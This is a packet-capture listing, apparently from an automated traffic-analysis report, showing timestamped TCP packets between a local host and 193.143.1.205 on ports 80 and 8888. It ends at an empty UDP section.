Jan 11, 2025 00:06:06.473009109 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.473022938 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.473088980 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473128080 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473134995 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.473143101 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473154068 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473164082 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473179102 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.473196030 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.473231077 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473268986 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473279953 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473290920 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473299026 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.473303080 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473320007 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.473337889 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473349094 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473392010 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.473550081 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473561049 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473572016 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473583937 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473589897 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.473596096 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473607063 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473618984 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.473627090 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473637104 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473644018 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.473650932 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473661900 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473668098 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.473673105 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473683119 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473690033 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.473695040 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473705053 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473711967 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.473733902 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.473829985 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473870039 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473879099 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.473881006 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473891973 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473911047 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473920107 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.473922968 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473933935 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.473953962 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.473977089 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.474162102 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.474179029 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.474189997 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.474200964 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.474206924 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.474220037 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.474221945 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.474226952 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.474231958 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.474240065 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.474251986 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.474282980 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.474298000 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.474308968 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.474327087 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.474338055 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.474354982 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.474374056 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.474400997 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.474411964 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.474431992 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.474442959 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.474461079 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.474478006 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.474492073 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.474503040 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.474514008 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.474524975 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.474536896 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.474543095 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.474576950 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.474634886 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.474646091 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.474658012 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.474669933 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.474678993 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.474689007 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.512351990 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.512383938 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.512396097 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.512407064 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.512455940 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.521042109 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521059036 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521073103 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521085024 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521097898 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521109104 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521121979 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521121979 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.521141052 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.521163940 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.521317959 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521330118 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521342993 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521413088 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.521461010 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521473885 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521492004 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521503925 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521512032 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.521516085 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521528006 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521539927 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521539927 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.521549940 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521562099 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521563053 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.521574020 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521579981 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.521586895 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521600008 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521599054 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.521610022 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521627903 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521630049 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.521640062 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521651983 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521660089 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.521662951 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521672964 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521682024 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521682024 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.521687984 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.521744967 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.564455032 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.564469099 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.564481974 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.564495087 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.564506054 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.564546108 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.564567089 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.564591885 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.564601898 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.564616919 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.564629078 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.564635992 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.564673901 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.564755917 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.564768076 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.564779043 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.564790010 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.564801931 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.564811945 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.564816952 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.564824104 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.564837933 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.564842939 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.564853907 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.564896107 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.564922094 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565114975 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565126896 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565139055 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565149069 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565160990 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565166950 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.565202951 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.565263987 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565274954 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565285921 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565304041 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.565445900 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565460920 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565473080 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565484047 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565495968 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565500021 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.565506935 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565519094 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565531969 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565535069 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.565552950 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.565676928 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565696955 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565711021 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565725088 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565731049 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.565738916 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565759897 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.565761089 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565776110 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565778971 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.565789938 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565804958 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565809965 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.565843105 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.565915108 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565927982 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565941095 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.565962076 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.566072941 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566085100 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566097975 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566109896 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566117048 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.566128016 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566143990 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.566144943 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566169024 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.566215992 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566365004 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.566395044 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566407919 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566420078 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566433907 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566442966 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.566447973 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566461086 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566473961 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566474915 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.566494942 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.566546917 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566559076 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566601038 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.566654921 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566668034 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566673994 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566735983 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.566891909 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566903114 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566916943 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566929102 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566940069 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.566941023 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566955090 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566967010 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.566977024 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.566977978 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.567004919 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.567028046 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.567212105 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.567224979 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.567238092 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.567255974 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.567259073 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.567269087 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.567281961 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.567291975 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.567295074 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.567307949 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.567331076 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.567334890 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.567354918 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.567364931 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.567368031 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.567379951 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.567390919 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.567398071 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.567409039 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.567418098 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.567445040 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.604959011 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.609592915 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.609606981 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.609617949 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.609631062 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.609643936 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.609653950 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.609659910 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.609680891 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.609694004 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.609695911 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.609741926 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.609800100 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.609821081 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.609829903 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.609847069 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.609855890 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.609863043 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.609942913 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.617564917 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.622411013 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.622483015 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.622483015 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.622498035 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.622514009 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.622520924 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.622528076 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.622534037 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.622555017 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.622580051 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.622592926 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.622605085 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.622617960 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.622632027 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.622648001 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.622683048 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.622699976 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.622725964 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.622728109 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.622730970 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.622734070 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.622739077 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.622740984 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.622769117 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.650167942 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.650211096 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.650222063 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.650234938 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.650254965 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.650265932 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.650265932 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.650279045 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.650290966 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.650305033 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.650307894 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.650316000 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.650327921 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.650327921 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.650341988 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.650366068 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.650382996 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.650414944 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.650427103 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.650439024 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.650475025 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.810380936 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.816972971 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.955554962 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:07.365175009 CET	49722	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:07.370062113 CET	8888	49722	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:07.370168924 CET	49722	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:07.371057034 CET	49722	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:07.375849962 CET	8888	49722	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:08.189161062 CET	8888	49722	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:08.240567923 CET	49722	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:09.991883039 CET	49722	8888	192.168.2.7	193.143.1.205

UDP Packets

